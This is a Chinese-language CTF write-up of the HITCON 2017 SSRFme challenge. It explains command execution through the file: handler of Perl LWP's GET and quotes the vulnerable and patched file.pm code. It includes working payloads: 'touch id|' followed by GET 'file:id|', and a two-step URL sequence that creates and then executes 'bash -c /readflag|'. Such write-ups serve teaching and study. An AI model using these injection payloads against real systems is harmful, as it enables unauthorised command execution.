GET命令执行漏洞
思路来自于HITCON2017中的ssrfme,考点是GET的任意命令执行。代码很简单,调用命令GET来执行从url获取的参数, 然后按照filename新建文件,写入GET的结果。
我不知道关于这个问题最早是什么时候爆出的了,但确实已经很多年了。
root@iZ285ei82c1Z:~/test# cat a.pl
open(FD, "|id");
print <FD>;
root@iZ285ei82c1Z:~/test# perl a.pl
uid=0(root) gid=0(root) groups=0(root)
root@iZ285ei82c1Z:~/test# cat test.pl
open(FD, "whoami|");
print <FD>;
root@iZ285ei82c1Z:~/test# perl test.pl
moxiaoxi
而perl里的GET函数底层就是调用了open处理
file.pm
84: opendir(D, $path) or
132: open(F, $path) or return new
perl脚本中GET命令执行漏洞:(前提是文档需要存在)
touch 'id|'
GET ’file:id|'
uid=0(root) gid=0(root) groups=0(root)
open函数本身还支持file协议
root@iZ285ei82c1Z:~/test# cat /usr/share/perl5/LWP.pm
...
=head2 File Request
The library supports GET and HEAD methods for file requests. The
"If-Modified-Since" header is supported. All other headers are
ignored. The I<host> component of the file URL must be empty or set
to "localhost". Any other I<host> value will be treated as an error.
Directories are always converted to an HTML document. For normal
files, the "Content-Type" and "Content-Encoding" in the response are
guessed based on the file suffix.
Example:
$req = HTTP::Request->new(GET => 'file:/etc/passwd');
...
在perl下,如果open的第二个参数(path)可控,我们就能进行任意代码执行。综合看起来像是一个把文件名拼接入命令导致的命令执行。
而GET对协议处理部分调用的是 /usr/share/perl5/LWP/Protocol下的各个pm模块,通过查询可以发现在file.pm中,path参数是完全可控的。
源码如下:
...
# URL OK, look at file
my $path = $url->file;
# test file exists and is readable
unless (-e $path) {
return HTTP::Response->new( &HTTP::Status::RC_NOT_FOUND,
"File `$path' does not exist");
}
...
# read the file
if ($method ne "HEAD") {
open(F, $path) or return new
HTTP::Response(&HTTP::Status::RC_INTERNAL_SERVER_ERROR,
"Cannot read file '$path': $!");
...
这里多了一个限制条件,就是file.pm会先判断文件是否存在。若存在,才会触发最终的代码执行。
➜ test GET 'file:id|'
➜ test touch 'id|'
➜ test GET 'file:id|'
uid=1000(moxiaoxi) gid=1000(moxiaoxi) groups=1000(moxiaoxi),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)
我们可以测试一下
root@iZ285ei82c1Z:~/test# GET 'file:id|'
uid=0(root) gid=0(root) groups=0(root)
成功执行命令了,那么思路就清楚了,我们就可以通过传入 命令文件名 和 命令来执行。
[HITCON 2017]SSRFme
已进入题目便给出了php代码:
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); // explode(separator,string)函数把以separator为分隔字符串将字符串打散为数组。
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); // “REMOTE_ADDR”为正在浏览当前页面用户的 IP 地址。
@mkdir($sandbox);
@chdir($sandbox); // 改变当前的目录到$sandbox
$data = shell_exec("GET " . escapeshellarg($_GET["url"])); // escapeshellarg()把字符串转码为可以在 shell 命令里使用的参数
$info = pathinfo($_GET["filename"]); // pathinfo() 函数以数组的形式返回文件路径的信息。
$dir = str_replace(".", "", basename($info["dirname"])); // basename() 函数返回路径中的文件名部分。
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
// 以上代码大致为,调用GET(git)命令来执行从url获取的参数,从该url获取内容, 然后按照filename新建文件,写入git到的结果。
escapeshellarg($arg) 把字符串转码为可以在 shell命令函数里使用的参数;将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含exec()、system()、执行运算符反引号(``) 。 arg需要被转码的参数。 例子:
<?php system('ls '.escapeshellarg($dir)); ?>
pathinfo() 返回一个关联数组包含有 path 的信息。 包括以下的数组元素:
- [dirname] //路径名
- [basename] //文件名
- [extension] //扩展名
例子 1
<?php print_r(pathinfo("/testweb/test.txt")); ?>
输出:
Array ( [dirname] => /testweb [basename] => test.txt [extension] => txt )
根据源码可以发现php会对传过去的参数用escapeshellarg函数过滤。先创建一个目录sandbox/md5(orange+ip),然后执行GIT $_GET['url']
,然后会创建文件夹,并将执行GIT $_GET['url']
后的结果放在该文件夹下面filename传过去的文件中。
先来看一下REMOTE_ADDR,REMOTE_ADDR为正在浏览当前页面用户的 IP 地址,题目已给出就不用查了,就是:
则目录$sandbox
为sandbox/md5(orange111.73.46.229:80)即:sandbox/864300xxxxxxxxxxcc4523ef49c50223
方法一:
GET ./可以查看当前路径,GET …/可以查看上一级路径,于是:
先:http://0ba28389-bff6-48a1-952c-cfd44f67bfb3.node3.buuoj.cn/?url=../../../../../../&filename=aaa
或?url=/&filename=aaa
,
然后访问aaa:
http://0ba28389-bff6-48a1-952c-cfd44f67bfb3.node3.buuoj.cn/sandbox/864300xxxxxxxxxxcc4523ef49c50223/aaa
,得如下页面:
可以发现有readflag和flag,于是猜想执行readflag flag可以得到flag,接下来就是如何构造并执行了。
readflag是一个+了s权限的一个读flag的程序。
利用perl的open命令有可能会导致命令执行
在处理file协议的perl5/LWP/Protocol/file.pm的130行,如下:
#第47行
# test file exists and is readable
unless (-e $path) {
return HTTP::Response->new( &HTTP::Status::RC_NOT_FOUND,
"File `$path' does not exist");
}
unless (-r _) {
return HTTP::Response->new( &HTTP::Status::RC_FORBIDDEN,
'User does not have read permission');
}
...
#第127行
# read the file
if ($method ne "HEAD") {
open(F, $path) or return new
HTTP::Response(&HTTP::Status::RC_INTERNAL_SERVER_ERROR,
"Cannot read file '$path': $!");
binmode(F);
$response = $self->collect($arg, $response, sub {
my $content = "";
my $bytes = sysread(F, $content, $size);
return \$content if $bytes > 0;
return \ "";
});
close(F);
}
...
ubuntu18.04 已经修复此漏洞
修复的方式是在下面第三行代码中,open中间加了个参数’<’
# read the file
if ($method ne "HEAD") {
open(my $fh, '<' , $path) or return new //open 函数以只读的方式(<)打开文件
HTTP::Response(HTTP::Status::RC_INTERNAL_SERVER_ERROR,
"Cannot read file '$path': $!");
binmode($fh);
$response = $self->collect($arg, $response, sub {
my $content = "";
my $bytes = sysread($fh, $content, $size);
return \$content if $bytes > 0;
return \ "";
});
close($fh);
}
利用bash -c "cmd string"来执行命令执行readflag。(不用bash -c可以直接/readflag读取flag)
首先得满足前面的文件存在, 才会继续到open语句, 所以在执行命令前得保证有相应的同名文件:
?url=&filename=bash -c /readflag| 先新建一个名为“bash -c /readflag|”的文件,用于之后的命令执行
?url=file:bash -c /readflag|&filename=aaa 再利用GET执行bash -c /readflag保存到111文件
访问sandbox/md5/aaa(得到flag)